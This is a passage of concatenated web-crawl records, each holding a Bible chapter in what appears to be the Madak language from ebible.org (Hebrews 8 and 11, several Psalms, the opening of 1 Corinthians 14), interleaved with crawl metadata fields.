Moroa xa ga lox i.\n3 Nedi axap, lavamaasa amgomgo dip kip lugugu xusu dina raba ne Moroa mi leventamtaba la levempanga laplavang, la kerepmo bok i epovo do Lamaasa gomgo ne Iesu na ruuna tavanga xusu ni na raba ne Moroa min. 4 Do neni gik lok nade at na lavatbung menemen, neni gi toxo ruuna ka lugugu ngan lamaasa mila leventaba luvuttadi mo gik lok pam kusu tim taba leventamtaba ngan Laulis Linga i tong i. 5 * Kl 2:17; Ib 9:23; Pas 25:40Nedi di gugu ro at loxot kaala nade xopok at na lavatbung menemen, na loxot kaala neni lampoovo mun ap mo loxot kaala no vana at laxalibet. Ni lavasuun teren la ne Moroa ga vaase aronga ne Moses at laaleng neni ga lok do na xip loogu kadis at ne Moroa. Ne Moroa ga lok tin keretna, \"A vara i do una xip avukat na loogu ngan lampoovo nia aga lox ase u min to at lakaana Sinai.\" 6 * Ib 7:22; 9:15Ketla mo lugugu ne Iesu ga lok ka i, i lox avukat ti lugugu at lavamaasa mede xopok, i ngan bok lekabus maxat i lox avukat ti lekabus migomgo. La leveloklox anarong at lekabus maxat i lox avukat ti leveloklox anarong at lekabus migomgo. La ne Iesu neni lavasuun at lekabus maxat, ni ga lok lumulum kantubu at limixin mi ne Moroa.\n7 Lekabus migomgo goxo epovo na lox axis eburu ne Moroa mi limixin, kuren la ne Moroa ga lok lekabus maxat. 8 Moroa ga ven kibis i do lekabus migomgo goxo epovo mila limixin diga soogong aleng. Ni ga lok,\n\"Mina ronga i na. Laaleng mo naba vot la nia anaba lok lekabus maxat mi limixin tarak to Israel la limixin tarak at libibinat me Juda. 9 Mo lekabus maxat ba lok petpes ti lekabus migomgo, mo nia aga lox i eburu mi lavalabat atdi ap mo levenaleng nia aga lam asu di boro Isip. Nia anaba lok lekabus maxat mila di goxo ruturun ti lekabus migomgo, la nia aga raba rulu di. 10 * Ib 10:16Nenia ne Moroa, mina ronga na levelinga. Melemu nia anaba lok lekabus maxat mi limixin me Israel. Mo lekabus naba lok keretna. Nia anaba lox adoxoma di mi Lenavolo rak, la anaba malagan i keneng at lebelen di. Nia anabat kis esogo midi la anabak lok tatao di ngan limixin tarak. 11 Kopmen bok ba tara naba anasa lentangas teren kopla neton mi levelinga keretna, 'Unaklen ne Moroa.' Mila nedi axap dinaba xis ekilen eburu minia. Nedi limixin silok la nedi bok limixin kopmen tevenasen silok atdi. 12 * Ib 10:17Nia anaba doxoma xepe laxakapmek atdi la nia noxo domangke rinotno bok ba at laxakapmek atdi.\" Jer 31:31-34\n13 Moroa ga soxot na lekabus do lekabus maxat, kuren la Moroa ga ke xepe lekabus migomgo mila kopmen bok ba tugugu ren la i auret do na sonao axap.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/HEB08.htm","date":"2022-05-24T10:00:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662570051.62\/warc\/CC-MAIN-20220524075341-20220524105341-00431.warc.gz","language":"mmx","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000096559524536}","num_words":536,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.362,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"61\nLisingising Ti Ne Moroa Nak Lok See At Laradi\n1 O Moroa, una ronga ri lanteng tarak, una ronga lising tarak.\n2 Lodoxoma abulubun i suxuna ia la ak lok to vaxalom basinge lemenemen tarak, la a ngising tu. Una lok kaka ia uto at Loxot Loklox Alipe, 3 atla nenu Lurutu See Pe rak. Nenu u tu lolos pe ia at limixin munepen minia.\n4 Una ke avolo ia kusu ana nemen amisik to at loogu kaala ram at lorooro axap tarak. Una kubak pe ia maxopok at luvapa ram, kusu ana nemen matmatkun.\n5 O Moroa, uga ronga vam leveng kakaape rak, la uga raba ia mi mo leveloklox anarong mo u gagas min tinedi dim taba asinorong u.\n6 Nia a sing u do una lox epasum levenmaares at loorong. Una ke avolo i xusu ni na rooro bok be at taxanmaares solo. 7 O Moroa, lixitkis amgomgo ren na nemen maxopok at loklok tatao ram at levenaleng axap i tu melamgo. Una suxuna i mi labalamu lexen la luruturun taram.\n8 Kuren la anabak pixan emi asu amisik tu, do at levenaleng getgesara anam taba u mi leventamtaba nia aga xaape min.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA061.htm","date":"2022-05-16T12:06:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510117.12\/warc\/CC-MAIN-20220516104933-20220516134933-00721.warc.gz","language":"mmx","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.0000025033950806}","num_words":188,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.207,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"144\nLorotong Avukat At Loorong Ti Ne Moroa\n1 Nia a emi asu mi Leeme Silok, ni Lurutu See Pe rak! Neni i arala ia mi loklok ti esep, la ik lox agagas ia ri leesep silok. 2 Neni Lurutu See Pe la Lentupe ria, la Loogu Matmatkun la Laradi Loklox Asepsu rak. Neni laradi ua a nunu saga ren kusu naba kubak pe ia. La neni ik sak tup mi levenabung mixin petpes la ik lok li di maxopok at loklok tatao rak.\n3 Leeme Silok, limixin nedi lempanga salai, la uram doma mu solo di. Nedi lempanga gamasa mun ketla ung tonga levelinga atdi? 4 Nedi di lok ngan mun lamanman i rava polo. La levenaleng atdi i lok ngan mun lamamau i sonao.\n5 O Leeme Silok, una vaxat das laxalibet la una vas si ude xopok. Una long tu at lempatkaana la dinaba soobang asu lusuxa. 6 Una riki asu lamam (lavanga i mam) la una sak epeseves limixin munepen minia. Una so asu mi levesoso ram kusu naba lox amarat di la dina sixiro. 7 Una song asi boro vana, la una sat asu ka ia boro xeneng tubu at lamaxat dan, la una lok li asepsu ia basinge mo limixin munepen. Una lox asepsu ia basinge lolos at limixin me xadiong, 8 ua kopmen tinotno dina tong asu rinotno luruturun. Ketla di xaxarang mun, keke i do diga xaape do diba tong asu levelinga ruturun.\n9 O Moroa, anaba vixan loxompixan maxat tu. Anabak sak ligita rak la anak pixan tu. 10 Uk lox alolos lavaorong kusu dinak sak tup mi limixin munepen midi, la uk lox asepsu ia, lasaxaruki ram ne Devit. 11 Una lox asepmus ia basinge lebelemamao at limixin munepen minia. La una lox asepsu ia basinge lolos at limixin boro vetpes ua dixo tong asu luruturun. Ketla di xaxarang mun, keke i do diga xaape do diba tong asu levelinga ruturun.\n12 Nema ma sing u do laxamdak puraau atnema dinaba lok ngan larauna i suusu urut, la i lolos. La ma sing bok do laxamposono maxat atnema dinaba milik maraanu ngan levempos diga xovox i, mo i nganang levenmesuluk axap at loogu at loorong. 13 La ma sing bok do laraogu lili atnema naba unumsu mi lara met luxa axap. La ma sing bok do leve sipsip to at levenang kolonu atnema, dina pisik aleng ngan lasangaun larabin sangsangaun kobot. 14 Ma sing bok do laxan bulumaxao atnema, dina pisik aleng la di noxo pisik amet kopla dina seeve. Ma sing bok do xopmen tanbulu xopla tanteng kopla toxokoxo mumu levenesep eburu mi limixin munepen nak lok to at levenang kolonu atnema.\n15 La lomomo naba vot parap mo lubung mixin mo do na lempanga na ravasu ruturun tidi. La lomomo naba vot parap nedi ua Leeme Silok, neni ne Moroa atnedi!","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA144.htm","date":"2022-05-16T11:38:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510117.12\/warc\/CC-MAIN-20220516104933-20220516134933-00663.warc.gz","language":"mmx","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000075101852417}","num_words":457,"character_repetition_ratio":0.072,"word_repetition_ratio":0.031,"special_characters_ratio":0.222,"stopwords_ratio":0.245,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"57\nLisingising Ti Loklok Tooro\n1 O Moroa, una lox asuusu lebelen tuntun tia. Una lox asuusu lebelen tuntun tia, atla nia a vot pasa u xusu unak lok see rak basinge limixin munepen minia. Una kok avukar ia maxopok at lamamau at luvapa ram. Una lok ngan Lenban tia, se at nom laaleng na levenmumuat axap na on basinge ia.\n2 Nia a toro ri ne Moroa, ni Leeme Avolo, mo im taba ia mi lempanga axap nia ak pakes tin. 3 Ni naba vaase porang ia boro vana at laxalibet la naba lox asepsu ia. Ni naba sev asi axap limixin loklok papavas. Moroa naba lox asuusu mo labalamu lexen la loklok tuturun teren tia.\n4 Nia ak lok kantubu at limixin munepen minia di lok ngan lubunglaion. Di lok gagas kusu dina sev amet limixin la dina anan di. Leven gisangsa atnedi i anan ngan ta lempatsoso, la leven gam atnedi i anan ngan ta lemparise esep.\n5 O Moroa, una lox asuusu lolos silok taram to vana at lamavangkap, la una lox asuusu lisisixam taram at levengkot axap at na lavatbung menemen.\n6 Limixin munepen minia dira sat pam laxatkat kusu dina rebeng alis kaka ia. Lorooro rak i umsu mi levenmumuat i sak pavaa ia. Diga sep pe langas patpas tarak mi lavatmet i si aleng, ketla nedi xa diga subu tup teren.\n7 O Moroa, nia a nunu saga rinotno ram, nia anabak pixan emi asu minu. 8 Lodoxoma rak, una xapsik. Nia ana gagas li loxontaaleng tarak mi ligita. Nia anaba sak aus laxangking at labara kooxot mi loxompixan. 9 O Leeme Silok, nia anaba tong loklox avukat tu ro melamgo at larabung mixin axap. Nia anabak pixan emi asu minu ro melamgo at limixin axap. 10 Labalamu lexen taram i umsu aleng upana i se axa ro at laxalibet. Loklok tuturun taram tinama i se tu at lamavangkap.\n11 O Moroa, una lox asuusu lolos silok taram to vana at lamavangkap, la una lox asuusu lisisixam taram at levengkot axap at na lavatbung menemen.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA057.htm","date":"2022-05-16T12:09:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510117.12\/warc\/CC-MAIN-20220516104933-20220516134933-00696.warc.gz","language":"mmx","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000007152557373}","num_words":330,"character_repetition_ratio":0.079,"word_repetition_ratio":0.1,"special_characters_ratio":0.219,"stopwords_ratio":0.218,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"32\nLavapaase Asu Laxakapmek Mi Lodoxoma Xepe\n1 Nedi, dira sepmus pam basinge laxakapmek atnedi, dina momo. Laxakapmek atnedi ne Moroa ira doxoma xepe vam i. 2 Do taradi go la Leeme Silok kopmen na vuse ka taxapmek teren la kopmen bok taxaxarang teren, ni na lok momo.\n3 Ga ruka i nia goxo vaase asu laxakapmek tarak, agang teng amisik at levenaleng kangking la kanimin, kuren la labantuxu rak ira xat molos. 4 At levenaleng kangking la kanimin, nenu Leeme Silok ugap sev aleeng ia. Kuren la lolos tarak gara ravasu axap pam. Ik lok ngan laxangking at lamaares ik lox avatmang laxangka.\n5 La na nia aga vaase asu laxakapmek tarak tu, kopmen a goxo lipe toxot teren basinge u. Aga vara i do ana soxomus laxakapmek axap tarak tu, la uga doxoma xepe axav i.\n6 Kuren la i lox avukat do limixin tuturun taram dinaba sing saparav u at levenaleng at levenmumuat. Dola langsangan lekarakat i rava beles mu nedi ngan ladanut, kopmen noxo lox abaava di. 7 Nenu Loxot Loklox Alipe rak, la unaba lox asepsu ia basinge levenmumuat. Ak pixan momo at loklok tooro ram, atla nenu uk lok see rak.\n8 Leeme Silok i lok keretna, \"Nia anaba lox ase u mi langas unabat pas teren. Nia anaba anasa u, la anaba vaase aronga box u. 9 Nemen gat nu tangtangku ngan la os kopla dongki. Limixin di lok li loxonaen at lungusno at lavaros la di xoxo alu labanoos to melemu at lavatlak teren, kusu na ronga res atdi.\"\n10 Limixin kakapmek dinaba ekip tangarang mi laxasongsongot, ketla nedi di nunu saga at Leeme Silok, di nemen ma xeneng at loxokok at labalamu lexen teren. 11 Nemi limixin manmanton, mina momo la mina sosoro at levempanga Leeme Silok gak lox i. Nemi ming tonga res teren, minap kup momo.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA032.htm","date":"2022-05-16T12:51:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510117.12\/warc\/CC-MAIN-20220516104933-20220516134933-00789.warc.gz","language":"mmx","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000009536743164}","num_words":295,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.231,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"81\nLoxompixan Ti Lok Katling Laaleng Silok\n1 Nemi minap kup mi leklek ti ne Moroa, neni Lentupe rinedik. Minak pixan emi asu ri ne Moroa at ne Jakop! 2 Mina vaxaru kaxat laxaka at livixan la minak sak leven tambarin. Minak sak lengkaka pixan avukat to at lempat taaleng mi lempat gita.\n3 Minat mas lempat tu ap mo levenaleng silok, at laaleng at lagaaling maxat la at laaleng at lagaaling i re kobot. 4 Neni na Laulis Linga at leme Israel, la neni langas ne Moroa at ne Jakop ga tong taba di min. 5 Neni ga raba i ri limixin me Israel melemu at loxonaleng neni ga lox asongot limixin at lenep kangka me Isip.\nNenia aga ronga laxaka at laradi ua nia a goxo ronga xibis i, ga lok keretna, 6 \"Nia aga lok kepe levenmumuat boro at levenantuno atnemi. Aga lok nemi xusu miba soxope asi lempat aknixip uat (birikis). 7 At levenaleng migak lok keneng at levenmumuat to Isip, miga toro ria, la nia aga lox asepsu nemi. Aga lox epovo leventotoro atnemi at loxonaleng agak lok to xeneng at loxot alipe rak no xeneng at lamanman takabu. Aga lok tong pen nemi ro at levem puuvut dan to Meriba.\n8 Limixin tarak, mina ronga i na levempapaase aronga rak. Leme Israel, a vara rinotno i xusu minang tonga res tarak! 9 Nemen tinotno nemi guta lotu saparap teven moroa vetpes. 10 Nenia mun Leeme Silok ne Moroa atnemi, la nenia mun aga lam asu nemi boro Isip. Mina vangangba, la anaba raba luxa nemi.\n11 Ketla nemi limixin tarak me Israel mi goxo ronga ia, migita goxo ronga res tarak. 12 Kuren la aga ke aie nimi mila lodoxoma atnimi ga vatken mi lorongtonga rubu linga. La miga mumu asu lavavara atnemi keneng at leveloklok miga vavara i. 13 Nia a vavara rinotno i xusu nemi limixin tarak minang tonga ia. La a vara rinotno i xusu minang tonga res tarak! 14 Mo do kuren, nia gitaba sak tup soso mun mi limixin munepen minemi la gira vas asi nedi diga tu tangarang nimi. 15 Nedi ua di belengatngas tia, dinabak milik tiding mi lanmarat to melamgo rak. La mo loklox asongot tinedi naba nemen amisik noxo xap. 16 Ketla anabak lox anan nemi mi levempiao i so misigisigis la anabak lox axap lavavara atnimi mi levendan misiu boro xanubuan.\"","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA081.htm","date":"2022-05-20T00:54:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662530553.34\/warc\/CC-MAIN-20220519235259-20220520025259-00623.warc.gz","language":"mmx","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000088214874268}","num_words":380,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.255,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11\nLimixin Diga Nunu At Ne Moroa\n1 *\nLununu neni loklok tim doma ngangais ti leveloklox anarong ne Moroa naba raba limixin teren min. La lununu ik lox aklen dik ti mo levempanga nedik kopmen ta reven tu ren. 2\nKerepmo la ne Moroa ga emi asu minedi lavalabat atdik gano, mila diga ruuna lununu.\n3 *\nNedik ta ruuna lununu, kuren la ataklen i do ne Moroa ga rudum li levempanga axap mi levelinga ren, la ataklen i do levempanga nedik di ven i mi levengkatli atdik ga ravasu at levempanga nedik goxo ven i.\n4 *\nAbel ga ruuna lununu, kuren la neni ga raba ne Moroa mi laplavang ga lox avukat ti laramtaba at ne Kaen. Abel ga ruuna lununu, kuren la ne Moroa ga emi asu min la ga raba i mi laasen do laradi manmanton, ap mo laaleng ne Moroa ga siam ka leventamtaba ren. Lununu ren move i ngan lampoovo ridik kusu ata mumu asu i, keke i do neni ga met pam.\n5 *\nEnok ga ruuna lununu, kuren la neni goxo met, ketla ne Moroa ga lok ka i uto vana at laxalibet. Limixin diga puse rin la di goxo vuse ka i, mila ne Moroa ga lam ka vam i uto vana. Avot at na, Moroa ga emi asu min, mila loklok teren ga lox amomo i. 6\nLa mo do tara xopmen tununu ren, ixo epovo ni na lox amomo ne Moroa, mila do tara i vara na vot pasa ne Moroa, neni na nunu do ne Moroa mo i rooro la neni i epovo naba lox anarong nedi lebelen di i ngaongao xusu dinaklen ne Moroa.\n7 *\nNoa ga ruuna lununu, kuren la at laaleng ne Moroa ga tong i rin do laraan naba vot, ni ga ronga res la ga lok lavatmon silok kusu na lox arooro nedi loxoetemen. Neni ga ruuna lununu la kerepmo ga lox asuusu i do loklok at limixin ap mo levenaleng ga lok kapmek. La neni ga ravasu ngan laradi manmanton at lemeren ne Moroa mila neni ga ruuna lununu saparap ne Moroa.\n8 *\nAbaram ga ruuna lununu. Kuren la at lara laaleng ne Moroa ga tong i rin do na on basinge lemenemen teren kusu nat pas ti lara lemenemen to vaxalom. Moroa ga vaase ali rin do neni naba raba i min melemu ngan lemenemen tino rin. La ne Abaram ga ronga res teren la ga vas kaxat, neni goxoklen i do mo lemenemen gak lok ua. 9 *\nNeni ga ruuna lununu la ga lox araut lemenemen tin ap mo loxot ne Moroa ga vaase ali min tin. Ketla ap mo lenep neni ga nemen ngan laradi xadiong, gak lok mun at loogu kadis. La melemu ne Aisak, nitna ne Abaram, la ne Jakop, tubuno ne Abaram dugak lok bok at laraogu kadis. Nedu bok duga ruuna mo lavapaase ali boro at ne Moroa ngan ne Abaram. 10\nNeni ga ronga res mila neni gam doma ngangais ti mo lemenemen silok, bak lox amisik la ne Moroa ga lox agagas mo lemenemen silok ti limixin teren.\n11 *\nAbaram ga ruuna lununu, keke i do gara sioxo vam, la latkin bok teren ne Sera goxo epovo do na visik, ketla nedu duga visik lara lamdak. Kuren la ne Abaram ga ravasu ngan ne temen mo lamdak, mila ne Abaram ga nunu do ne Moroa naba lox asoorun lavapaase ali ren. 12 *\nLa ne Abaram, neni lasioxo rinotno nga, ketla ga buaang aleng livipisik li ren, ga umsu aleng ngan laxampenti mede vana la laxangkaneng to loxon, nedik taxo epovo ri exes di, na livipisik li ga ravasu at na legesa radi mun.\n13 *\nNedi axap luvuttadi diga ruuna lununu at lorooro axap atdi se at loxonaleng diga met. Nedi goxo ruuna ka mo levempanga ne Moroa ga vaase ali min tidi. Ketla diga ven avaxalom ka mo levempanga la diga momo ka i, keke i do di goxovisi na ruuna ka i. La diga siam ka mun lorooro alua at na lavatbung menemen. 14\nLimixin di paase xerepmo, i lox asuusu i do temenemen aulis gove di puse rin. 15\nDo nedi gove gitam doma amlong ti mo lemenemen no nedi diga on basinge i, nedi ro gitamlong pam ti mo lemenemen atdi. 16 *\nKetla lodoxoma atdi move ga vara ri temenemen avukat tinotno, mo lemenemen ik lok to vana at laxalibet. Kuren la ne Moroa i lok momo xusu dina soxor i do ne Moroa atdi mila neni ga lox agagas lemenemen tidi.\n17 *\nAbaram ga ruuna lununu, kuren la ap mo laaleng ne Moroa ga lok tong pen i, neni ga ronga res la ga raba ne Aisak ngan laplavang. Abaram neni mo laradi ne Moroa ga vaase ali rin do livipisik li ren naba umsu aleng. Ketla melemu manga ni ga gagas kusu naplavang mi mo legesa nitna. 18\nNe Moroa gara tong pam i rin do, \"Aisak neni laradi naba lox asilok livisik li ram.\" 19 *\nAbaram gaklen i do ne Moroa i epovo na lox arooro luvuttadi met. Ketla ne Moroa ga sep pepe i la ni goxo sev amet ne Aisak. I lok ngan ta do ne Moroa ga lox arooro ne Aisak basinge lanmet.\n20 *\nAisak ga ruuna lununu, kuren la neni ga lox anarong ne Jakop mi ne Esao mi levelinga mumuat mumu mo levempanga naba ravasu at lorooro atdu la at livipisik li bok atdu melemu at levenaleng at lanmet teren.\n21 *\nJakop ga ruuna lununu, kuren la neni ga lox anarong lumdak at ne Josep la ga lotu saparap ne Moroa, ap mo loxonaleng neni ga sox auru i mi lakdak teren, mila neni gara sioxo vam la ga auret levenaleng kusu neni na met.\n22 *\nJosep ga ruuna lununu, kuren la ga auret ti lanmet teren, neni ga vaase ali do at tara taaleng limixin me Israel dinaba vas kaxat basinge lemenemen Isip. Neni ga vaase ali bok at limixin teren kusu dinaba xip ka levesi ren do dina vas kaxat uto Kanan.\n23 *\nTemen ne Moses mi nenen duga ruuna lununu, kuren la duga lipe ne Moses at lavantun gaaling melemu at livipisik teren. Mila duga ven i do mo lamdak goxopmen lamdak gamasa, ketla lamdak ga lok petpes tino. La du goxo marat at lavapaase lolos at loorong, ga tong i do dina sev amet axap levengkadede remes at limixin me Israel do dina visik asu di.\n24 *\nMoses ga ruuna lununu, kuren la neni ga silok, la ni ga xopara i xusu limixin dina soxor i do lamdak at loolik at ne Parao. 25\nKetla neni ga vara i xusu na xip laxasongsongot eburu mi limixin at ne Moroa la neni ga xopara i xusu na lox amomo lorooro ren mi laxakapmek, mo naba xap asonao mun. 26 *\nMoses ga doma i do ik mokso do neni na lok ka lainmangan eburu mi limixin teren at lugugu at Lanarong. Mo lainmangan ga lox avukat aleng ti lapnovos boro Isip, mila neni ga reven ti mo luunun move ne Moroa naba raba i min.\n27 *\nNeni ga ruuna lununu, kuren la neni ga vas kaxat basinge lemenemen Isip la goxo marat at lumukmusak at loorong me go. Ketla neni ga tu atmatkun at lununu ren, mila neni ga ven kibis ne Moroa, mo limixin di goxo epovo na ven i. 28 *\nMoses ga ruuna lununu, kuren la neni ga tong i ri limixin me Israel kusu dina sep ka tevempatnat sipsip la dina saba li lada ap mo laxasipsip to at laramusmaragu at laraogu atdi. Na loklok ga lok kaxat mo leluxa diga soxor i do Lovovolo Pe. Diga lox i na xusu mo laangelo sepsep noxo sev amet lavaanat meren at limixin me Israel. Ketla Moroa ga riki i do na sev amet lavaanat meren at limixin me Isip.\n29 *\nLimixin me Israel diga ruuna lununu, kuren la diga vas korop Laras Memele, digat pas mun at laxangka mesemes. Ketla at loxonaleng limixin esep boro Isip diga lok tong pen i xusu dina vas polo, laras gak mit di la diga xong axap.\n30 *\nLimixin me Israel diga ruuna lununu, kuren la lara langas uat lolos mo ga tu xangkan lemenemen silok Jeriko ga rebubuxup si ukopok. Mo lavanga ga vot melemu at lavanuti aleng limixin me Israel digat pas kangkan mo lemenemen.\n31 *\nRaap, latkin ngarangat ga ruuna lununu, kuren la neni goxo uu eburu minedi limixin boro Jeriko diga ronga viribang. Mila neni ga lok tooro luradi esep at leme Israel mo dugakling lemenemen at laaleng ne Josua ga riki du xusu dunakling mo lemenemen Jeriko.\n32\nAba tong ka bok ba lavanga salai? Nia xopmen ana epovo xusu ana vaase bok ba mila loxonaleng kopmen na epovo kusu aba tong asu axap lorooro atnedi loxongkulao nunu kerekngan ne Gidion, Barak, Samison, Jepita, Devit, Samuel, la leventaba vetpes bok eburu mi lavaeme vapaase ali. 33 *\nDiga ruuna lununu, kuren la leventaba atdi diga sep kepe levenabung mixin, leventaba atdi diga lok tatao limixin atdi mi loklok manmanton, la kerepmo ne Moroa ga lok tooro di xerekngan neni ga vaase ali min tidi. La leventaba atdi, lavamolon diga lu arup midi uto at laramet laion la lubunglaion di goxo epovo na anan di, mila ne Moroa ga vamngus lubunglaion. 34 *\nLeventaba atdi lavamolon diga lu arup midi uto xeneng at laxao ketla laxao goxo epovo na rin di. Leventaba atdi diga ves avolo levemparise sepsep at limixin esep. La leventaba atdi levengkot atdi ga molo ketla ne Moroa ga lox alolos di. La leventaba diga ravasu ngan luvuttadi lolos tino, kuren la diga xala xepe limixin esep boro at levengkot petpes. 35 *\nLeventaba lavakin diga ruuna lununu kuren la leventaba atnedi digara met pam, ketla ne Moroa ga lox arooro amlong bok di.\nLeventaba atnedi luvuttadi nunu, diga lok ka losongsongot kapmek tinotno. Lavamolon diga lok mo leveloklok ti lok kepe lununu atdi, ketla diga tu atmatkun la diga siam ka mo laxanmumuat. Mila diga nunu do melemu dinaba lok ka lorooro avolo. 36 *\nLavamolon diga lok kalise xapmek leventaba atdi la digak pixis kapmek tino di, la diga koxo alis leventaba bok la diga lox abeles di at laraogu xokoxo. 37 *\nDiga lu amet leventaba atdi mi laxanuat, la diga soo xorop avu leventaba atdi mi lempasoo, la diga sev amet leventaba atdi mi lemparise.\nLeventaba atdi luvuttadi nunu diga siga mun levenbantuxu sipsip la levenbantuxu me. Mila kopmen tevempanga singsiga avukat atdi la di goxo ruuna tevempanga at lorooro atdi. Diga xip laxasongsongot la lavamolon diga lok kapmek tinotno di. 38 Lavamolon diga doma i do mo limixin nunu diga lok kapmek aleng. Ketla at lemeren ne Moroa nedi limixin manmanton, la ixo epovo do dina nemen at na lavatbung menemen. Digat pas tangtagap to at lamatbin la to at levempatkaana la diga nemen to xeneng at laxantabuang la at laramamara ro xeneng at laxangka, mila goxopmen taramenemen atdi.\n39 Diga ruuna lununu, kuren la ne Moroa ga emi asu midi. Ketla tara atdi goxo lok ka mo leveloklox anarong at lekabus maxat ap mo levenaleng diga rooro ren. Mo leveloklox anarong ne Moroa ga vaase ali min ti limixin teren. 40 Moroa ga lox agagas lekabus maxat kusu neni na lox adadat dik. La kerepmo bok neni ga lox adadat nedik eburu minedi na limixin digap kip laxasongsongot.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/HEB11.htm","date":"2022-05-29T08:45:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663048462.97\/warc\/CC-MAIN-20220529072915-20220529102915-00135.warc.gz","language":"mmx","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 1.0000098943710327}","num_words":1840,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.381,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"143\nLisingising Ti Loklok Tooro\n1 Leeme Silok, una ronga lisingising tarak! Una ronga i na lisingising lolos tinotno rak atla loklok taram in manton aleng. Uk lox epovo leveng kakaape ram, kuren la una ronga ia! 2 Nenia lasaxaruki ram, kuren la uguta lok li ia at loklok tong pen, atla kopmen teta ip sepsen at lamaram.\n3 Lavamunepen minia digara vuse ka vam ia la dira sep kapmek tinotno ia. Dira lok li vam ia at loogu xokoxo i main bonot, la a lok ngan tino nga nedi ua diga met axa gano at lereot. 4 Kuren la a gagas kusu ana raba xepe nga lorooro rak, atla lodoxoma abulubun na i suxuna rinotno nga ia.\n5 A doxoma su ap mo levenaleng gara oon pam. La a doma mo lempanga nenu ugara lok pam i, la mo leven gugu ram i vot manga at lodoxoma rak. 6 A song aurut mi lukngak tu keneng at lisingising tarak. La labalak ik minu ru ngan ta loxongkangka vatmang.\n7 Leeme Silok, soso mun una ronga res tarak! Nia ara doma abulubun tino. Uguta lok alipe u basinge ia, lavanga ana emu buru minedi ua di si uto xopok at lemenemen at labarongan. 8 Unak lox adoxoma ia at leven maxantamak axap mi mo labalamu lexen taram, atla lununu rak i tu saga ram. Leve singising tarak i uturut upana ru, kusu una lox ase ia mi langas nia anaba mumu asu i.\n9 Leeme Silok, a vot saparav u xusu unak lok see rak. La una vaxat asu ia basinge limixin munepen minia. 10 Nenu ne Moroa rak. Una lox ase ia mi langas ti mumu asu lavavara ram. Una ke Loroonan Avukat taram na lam ia at langas nunuan.\n11 Leeme Silok, una sat asu ia basinge limixin munepen minia ngan uga xaape vam min. Nenu uk lox avukat, kuren la una lox asepmus ia basinge na leven mumuat tarak! 12 Una sev amet limixin munepen minia, atla nenu u balamu ia. La una lox abaava tino di mo dik lox asongor ia, atla nenia lasaxaruki ram.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA143.htm","date":"2022-05-16T04:51:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00342.warc.gz","language":"mmx","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000073909759521}","num_words":336,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.19,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14\nLeventamtaba At Loroonan Kaala\n1 * 1 Ko 12:31; 14:39Mina lolos kusu lorooro atnimi na mumu asu loklok at labalamu. La lebelen nimi na ngaongao xusu mina lok kaka leventamtaba at Loroonan Kaala. Ketla mo laramtaba ri paase asu levelinga at ne Moroa, mina lolos ti lok ka i. 2 Lara do i paase mi levempapaase vetpes, neni 